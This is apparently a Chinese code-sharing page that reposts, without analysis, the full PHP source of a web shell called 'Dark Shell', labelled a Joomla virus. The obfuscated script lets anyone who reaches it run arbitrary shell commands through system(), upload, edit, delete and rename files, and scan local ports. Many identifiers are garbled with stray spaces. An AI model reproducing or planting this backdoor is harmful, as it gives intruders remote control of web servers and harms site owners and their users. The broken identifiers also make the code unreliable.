php Joomla病毒modphp

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php Joomla病毒modphp相关的知识,希望对你有一定的参考价值。

<?php 
${"GLOBALS"}["dlndxxunie"]="items_num";
${"GLOBALS"}["mkyhbsoxyx"]=" items";
${"GLOBALS"}["swwposbmdi"]="size";
${"GLOBALS"}["wvilkkeq"]="var";
${"GLOBALS"}["nxslpsbijbq"]="fp";
${"GLOBALS"}["ncdpeeohkfg"]="from";
${"GLOBALS"}["hgkhmbd"]="range";
${"GLOBALS"}["hzztstqhs"]="temp";
${"GLOBALS"}["kxvqxsftn"]="dir";
${"GLOBALS"}["ejnpqtzjfvo"]="cmd";
${"GLOBALS"}["wqrnqlnorhhp"]="old";
${"GLOBALS"}["overuisx"]="files";
${"GLOBALS"}["vsjffrdnbd"]="current";
${"GLOBALS"}["bmniyqpz"]="dst";
${"GLOBALS"}["vhbbixrw"]="src";
${"GLOBALS"}["dluevpezhxrr"]="file";
${"GLOBALS"}["bldsqgompgu"]="new";
${"GLOBALS"}["foitvhctrky"]="mode";
${"GLOBALS"}["hnjkpkrf"]="dir";
echo "<html>
<head>
<title>Dark Shell</title>
</head>
<body>
<style type="text/css">
body{
  background: #E4E4E4;
  color: #666666;
  font-family: Verdana;
  font-size: 11px;
}
a:link{ color: #33CC99; }
a:visited{
  color: #33CC99;
}
a:hover{
  text-decoration: none;
  Color: #3399FF;
}
table {
  font-size: 11px;
}
</style>
";
$cinmscxnuhxp="port_range";
${"GLOBALS"}["fiwwldof"]="rm";
${"GLOBALS"}["jnxzxfely"]="current";
${"GLOBALS"}["letvinttgtur"]="rm";
$detveqhsgu="file";
${"GLOBALS"}["parwhlguihtn"]="files";
error_reporting(0);
$alyllrk="new";
${"GLOBALS"}["pcjssdmvn"]="current";
$dztyuczled="current";
set_time_limit(0);
$ykmyjm="dir";
${"GLOBALS"}["ujtljjuv kpf"]="fp";
${"GLOBALS"}["xuqzuvirpkbs"]="file";
${"GLOBALS"}["dnxqpp"]="temp";
${"GLOBALS"}["xjlbq yvs"]="new";
if(empty($_GET["dir"])){
  ${${"GLOBALS"}["hnjkpkrf"]}=getcwd();
}else{
  ${${"GLOBALS"}["hnjkpkrf"]}=$_GET["dir"];
}
chdir(${$ykmyjm});
${${"GLOBALS"}["pcjssdmvn"]}=htmlentities($_SERVER["PHP_SELF"]."?dir=".${${"GLOBALS"}["hnjkpkrf"]});
echo"<center><h1>Dark Shell</h1></center><p><hr><p>";
${"GLOBALS"}["cbefhchc"]="dst";
$rjvjhyc="file";
$xqsiomfbxc="current";
echo"<i>Server: ".$_SERVER["SERVER_NAME"]."<br>";
echo"Current directory: ".getcwd()."<br>";
echo"Software: ".$_SERVER["SERVER_SOFTWARE"]."<pre>
</pre></i>
";
echo"<pre></pre>";
echo"<table width=50%>";
$ivkyueious="file";
echo"<tr>";
${"GLOBALS"}["ryzlaciq"]="current";
echo"<td><a href = '".${${"GLOBALS"}["ryzlaciq"]}."&mode=system'>Shell Command</a></td>
";
${"GLOBALS"}["pee yqcvwhrj"]="cmd";
${"GLOBALS"}["qjlljhx"]="mode";
${"GLOBALS"}[" ybnnepmol"]="src";
echo"<td><a href = '".${$xqsiomfbxc}."&mode=create'>Create a new file</a></td>";
echo"<td><a href = '".${${"GLOBALS"}["jnxzxfel y"]}."&mode=upload'>Upload file</a></td>";
${"GLOBALS"}["dhxthiouf"]="new";
$zfchytno="port_range";
echo"<td><a href = '".${$dztyuczled}."&mode=port_scan'>Port Scan</a></td>";
echo"</tr></table>";
echo"<pre></pre>";
$nbechymkrvo="file";
${${"GLOBALS"}["qjlljhx"]}=$_GET["mode"];
${"GLOBALS"}["bvggqjd"]="dst";
switch(${${"GLOBALS"}["foitvhctrky"]}){
  case"edit":${${"GLOBALS"}["xuqzuvirpkbs"]}=$_GET["file"];
  ${${"GLOBALS"}["bldsqgompgu"]}=$_POST["new"];
  if(empty(${${"GLOBALS"}["bldsqgompgu"]})){
    $kkyqxhqhmts="file_cont";
    $kojbmvhh="file";
    $kjskquud="file_cont";
    $yvxswbxq="file_cont";
    $uhuujoxhxeb="fp";
    ${"GLOBALS"}["nddt iresq"]="file_cont";
    ${"GLOBALS"}["lbm ym kqxg"]="fp";
    ${"GLOBALS"}["oosh yjuvzd"]="current";
    ${${"GLOBALS"}["lbm ym kqxg"]}=fopen(${${"GLOBALS"}["dluevpezhxrr"]},"r");
    $cbxlqbsgot="file";
    ${${"GLOBALS"}["nddtiresq"]}=fread(${$uhuujoxhxeb},filesize(${$kojbmvhh}));
    ${$kkyqxhqhmts}=str_replace("<textarea>","<textarea>",${$kjskquud});
    echo"<form action = '".${${"GLOBALS"}["oosh yjuvzd"]}."&mode=edit&file=".${$cbxlqbsgot}."' method = 'POST'>";
    echo"File: ".${${"GLOBALS"}["dluevpezhxrr"]}."<br>";
    echo"<textarea name = 'new' rows = '30' cols = '50'>".${$yvxswbxq}."<textarea><br>";
    echo"<input type = 'submit' value = 'Edit'></form>";
  }else{
    ${"GLOBALS"}["yxfgabdx"]="fp";
    $ibcbqrecgpb="file";
    $hriwtimvsfc="fp";
    ${$hriwtimvsfc}=fopen(${$ibcbqrecgpb},"w");
    if(fwrite(${${"GLOBALS"}["yxfgabdx"]},${${"GLOBALS"}["bldsqgompgu"]})){
      ${"GLOBALS"}["ljurxtpxqaxt"]="file";
      echo${${"GLOBALS"}["ljurxtpxqaxt"]}." edited.<p>";
    }else{
      echo"Unableto edit ".${${"GLOBALS"}["dluevpezhxrr"]}.".<p>";}
    }
    fclose(${${"GLOBALS"}["ujtljjuvkpf"]});
    break;
    case"delete":${$detveqhsgu}=$_GET["file"];
    if(unlink(${$rjvjhyc})){
      echo${${"GLOBALS"}["dluevpezhxrr"]}." deleted successfull y.<p>";
    }else{
      $mvspwtfktj="f ile";
      echo"Unable to delete ".${$mvspwtfktj}.".<p>";
    }break;
    case"cop y":${${"GLOBALS"}["vhbb ixrw"]}=$_GET["src"];
    ${${"GLOBALS"}["bvggqjd"]}=$_POST["dst"];
    if(empty(${${"GLOBALS"}["bmniyqpz"]})){${"GLOBALS"}["dongelq"]="current";
    echo"<form action = '".${${"GLOBALS"}["dongelq"]}."&mode=copy&src=".${${"GLOBALS"}["vhbb ixrw"]}."' method = 'POST'>";
    echo"Destination: < input name = 'dst'><br>";
    echo"<input type = 'submit' value = 'Copy'></form>";
  }else{
    $dwoojntk="dst";
    $avowdgvnwh="src";
    if(copy(${$avowdgvnwh},${$dwoojntk})){
      echo"File copied successfully.<p>";
    }else{
      ${"GLOBALS"}["gydvfueuw"]="src";
      echo"Unable to copy ".${${"GLOBALS"}["gydvfueuw"]}.".<p>";
    }
  }break;
  case"move":${${"GLOBALS"}["ybnnepmol"]}=$_GET["src"];
  ${${"GLOBALS"}["bmniyqpz"]}=$_POST["dst"];
  if(empty(${${"GLOBALS"}["cbefhchc"]})){echo"<form action = '".${${"GLOBALS"}["vsjffrdnbd"]}."&mode=move&src=".${${"GLOBALS"}["vhbb ixrw"]}."' method = 'POST'>";
  echo"Destination: <input name = 'dst'><br>";
  echo"<input type = 'submit' value = 'Move'></form>";
}else{
  if(rename(${${"GLOBALS"}["vhbb ixrw"]},${${"GLOBALS"}["bmn i yqpz"]})){
    echo"File moved successfully.<p>";
  }else{
    $hqokgbwzm="src";
    echo"Unable to move ".${$hqokgbwzm}.".<p>";
  }
}
break;
case"rename":${${"GLOBALS"}["wqrnqlnorhhp"]}=$_GET["old"];
${$alyllrk}=$_POST["new"];
if(empty(${${"GLOBALS"}["dhxthiouf"]})){
  ${"GLOBALS"}["e iqs kxqean"]="current";
  echo"<form action = '".${${"GLOBALS"}["e iqs kxqean"]}."&mode=rename&old=".${${"GLOBALS"}["wqrnqlnorhhp"]}."' method = 'POST'>";
  echo"New name: < input name = 'new'><br>";
  echo"< input type = 'subm it' value = 'Rename'></form>";
}else{
  if(rename(${${"GLOBALS"}["wqrnqlnorhhp"]},${${"GLOBALS"}["bldsqgompgu"]})){echo"File/Directory renamed successfull y.<p>
  ";}else{${"GLOBALS"}["tcqxvgj ip if"]="old";
  echo"Unable to rename ".${${"GLOBALS"}["tcqxvgjip if"]}.".<p>
  ";}}break;
  case"rmd ir":${${"GLOBALS"}["letv inttgtur"]}=$_GET["rm"];
  if(rmdir(${${"GLOBALS"}["fiwwldof"]})){
    echo"Directory removed successfull y.<p>";
  }else{
    $lfbjrph="rm";
    echo"Unable to remove ".${$lfbjrph}.".<p>";
  }
  break;
  case"system":${${"GLOBALS"}["ejnpqtzjfvo"]}=$_POST["cmd"];
  if(empty(${${"GLOBALS"}["pee yqcvwhrj"]})){echo"<form act ion = '".${${"GLOBALS"}["vsjffrdnbd"]}."&mode=s ystem' method = 'POST'>";
  echo"Shell Command: <input name = 'cmd'>  ";
  echo"< inputt ype = 'submit' value = 'Run'></form><p>
  ";
}else{
  ${"GLOBALS"}["ns kbez"]="cmd";system(${${"GLOBALS"}["ns kbez"]});}break;
  case"create":${${"GLOBALS"}["xjlbq yvs"]}=$_POST["new"];
  if(empty(${${"GLOBALS"}["bldsqgompgu"]})){$qdlrrsgck="current";
  echo"<form action = '".${$qdlrrsgck}."&mode=create' method = 'POST'>
  ";
  echo"<tr><td> New f ile: < input name = 'new'></td>
  ";
  echo"<td><input t ype = 'submit' value = 'Create'></td></tr></form>
  <p>";}else{$wfswwimslj="fp";if(${$wfswwimslj}=fopen(${${"GLOBALS"}["bldsqgompgu"]},"w")){echo"File created successfully.<p>
  ";}else{$fmfshtbm="f ile";
  echo"Unable to create ".${$fmfshtbm}.".<p>
  ";}$rlxdgqoqp="fp";fclose(${$rlxdgqoqp});}break;case"upload":${${"GLOBALS"}["dnxqpp"]}=$_FILES["upload_file"]["tmp_name"];
  ${$ivkyueious}=basename($_FILES["upload_f ile"]["name"]);
  if(empty(${$nbechymkrvo})){
    echo"<form act ion = '".${${"GLOBALS"}["vsjffrdnbd"]}."&mode=upload' method = 'POST' ENCT \x59PE='mult ipart/form-data'>    ";
    echo"Local file: <input type = 'file' name = 'upload_file'>";
    echo"<input type = 'submit' value = 'Upload'>";
    echo"</form><pre></pre>";
  }else{
    ${"GLOBALS"}["tenfeg kedqm"]="temp";
    if(move_uploaded_file(${${"GLOBALS"}["tenfegkedqm"]},${${"GLOBALS"}["dluevpezhxrr"]})){
      echo"File uploaded successfull y.<p>
      ";
      unlink(${${"GLOBALS"}["hzztstqhs"]});
    }else{
      echo"Unable to upload ".${${"GLOBALS"}["dluevpezhxrr"]}.".<p>
      ";}}
      break;
      case"port_scan":${$cinmscxnuhxp}=$_POST["port_range"];if(empty(${$zfchytno})){echo"<table><form action = '".${${"GLOBALS"}["vsjffrdnbd"]}."&mode=port_scan' method = 'POST'>";
      echo"<tr><td><input type = 'text' name = 'port_range'></td><td>";
      echo"Enter port range where  you want to do port scan (ex.: 0:65535)</td></tr>";
      echo"<tr><td><input t ype = 'subm it' value = 'Port Scan'></td></tr></form></table>";}else{${"GLOBALS"}["ruddtopptl"]="port_range";
      $jowlivh="range";
      ${"GLOBALS"}["qwld ijhyglq"]="range";
      ${${"GLOBALS"}["hg khmbd"]}=explode(":",${${"GLOBALS"}["ruddtopptl"]});
      if((!is_numeric(${$jowlivh}[0]))or(!is_numeric(${${"GLOBALS"}["qwldijhyglq"]}[1]))){echo"Bad parameters.<br>";
    }else{
      $tnqyfwlwwe="to";
      $fhxmtegc="from";
      ${"GLOBALS"}["fpzntvnnyjmb"]="to";
      $host="localhost";
      ${$fhxmtegc}=${${"GLOBALS"}["hgkhmbd"]}[0];
      ${$tnqyfwlwwe}=${${"GLOBALS"}["hg khmbd"]}[1];
      echo"Open ports:<br>";
      while(${${"GLOBALS"}["ncdpeeoh kfg"]}<=${${"GLOBALS"}["fpzntvnn yjmb"]}){${"GLOBALS"}["yene yfhqdghs"]="var";
      $lotaaz="fp";
      ${"GLOBALS"}["dhuaxlduk"]="var";
      ${${"GLOBALS"}[" yeneyfhqdghs"]}=0;
      ${${"GLOBALS"}["nxslpsb ijbq"]}=fsockopen($host,${${"GLOBALS"}["ncdpeeoh kfg"]})or${${"GLOBALS"}["dhuaxlduk"]}=1;
      if(${${"GLOBALS"}["wv ilk keq"]}==0){$cducklqepm="from";
      echo${$cducklqepm}."<br>";}${${"GLOBALS"}["ncdpeeoh kfg"]}++;fclose(${$lotaaz});}}}break;}clearstatcache();
      echo"<pre></pre>";
      echo"<table width = 100%>";
      ${${"GLOBALS"}["parwhlgu ihtn"]}=scandir(${${"GLOBALS"}[" kxvqxsftn"]});
      foreach(${${"GLOBALS"}["overuisx"]} as${${"GLOBALS"}["dluevpezhxrr"]}){
        if(is_file(${${"GLOBALS"}["dluevpezhxrr"]})){
          ${"GLOBALS"}["mdamgdtqnmm"]="size";
          ${"GLOBALS"}["agejo yr"]="f ile";
          ${${"GLOBALS"}["mdamgdtqnmm"]}=round(filesize(${${"GLOBALS"}["agejo yr"]})/1024,2);
          $jdgfwxu="current";
          ${"GLOBALS"}["dw yoxf kfpt y"]="current";
          echo"<tr><td>".${${"GLOBALS"}["dluevpezhxrr"]}."</td>";
          $euxdqxnpgit="f ile";
          echo"<td>".${${"GLOBALS"}["swwposbmd i"]}." KB</td>";
          echo"<td><a href = ".${${"GLOBALS"}["vsjffrdnbd"]}."&mode=edit&f ile=".${${"GLOBALS"}["dluevpezhxrr"]}.">Edit</a></td>";
          $otpdpodqdesg="f ile";
          echo"<td><a href = ".${${"GLOBALS"}["dw yoxf kfpt y"]}."&mode=delete&file=".${$euxdqxnpgit}.">Delete</a></td>";
          echo"<td><a href = ".${$jdgfwxu}."&mode=cop y&src=".${${"GLOBALS"}["dluevpezhxrr"]}.">Cop y</a></td>";
          echo"<td><a href = ".${${"GLOBALS"}["vsjffrdnbd"]}."&mode=move&src=".${${"GLOBALS"}["dluevpezhxrr"]}.">Move</a></td>";
          echo"<td><a href = ".${${"GLOBALS"}["vsjffrdnbd"]}."&mode=rename&old=".${$otpdpodqdesg}.">Remame</a></td></tr>";
        }else{
          $rkdwhix="file";
          $exruqqr="file";
          ${${"GLOBALS"}["m kyhbsox yx"]}=scandir(${$rkdwhix});
          ${"GLOBALS"}["twwtvlttai"]="file";
          ${"GLOBALS"}["tdrqunv"]="items";
          ${${"GLOBALS"}["dlndxxunie"]}=count(${${"GLOBALS"}["tdrqunv"]})-2;
          echo"<tr><td>".${${"GLOBALS"}["dluevpezhxrr"]}."</td>";
          ${"GLOBALS"}["vftnyv"]="file";
          echo"<td>".${${"GLOBALS"}["dlndxxun ie"]}." Items</td>";
          echo"<td><a href = ".${${"GLOBALS"}["vsjffrdnbd"]}."/".${${"GLOBALS"}["vftn yv"]}.">Change director y</a></td>";
          echo"<td><a href = ".${${"GLOBALS"}["vsjffrdnbd"]}."&mode=rmd ir&rm=".${${"GLOBALS"}["twwtvltta i"]}.">Remove director y</a></td>";
          echo"<td><a href = ".${${"GLOBALS"}["vsjffrdnbd"]}."&mode=rename&old=".${$exruqqr}.">Rename director y</a></td></tr>";}}
          echo"</table>";
          ?>

以上是关于php Joomla病毒modphp的主要内容,如果未能解决你的问题,请参考以下文章

php Joomla病毒

php Joomla病毒记账员

php Joomla病毒上传

php Joomla病毒因子

CGI,FastCGI,PHP-FPM,PHP-CLI,modPHP

病毒/恶意软件在 Joomla CMS 网站上修改 .htaccess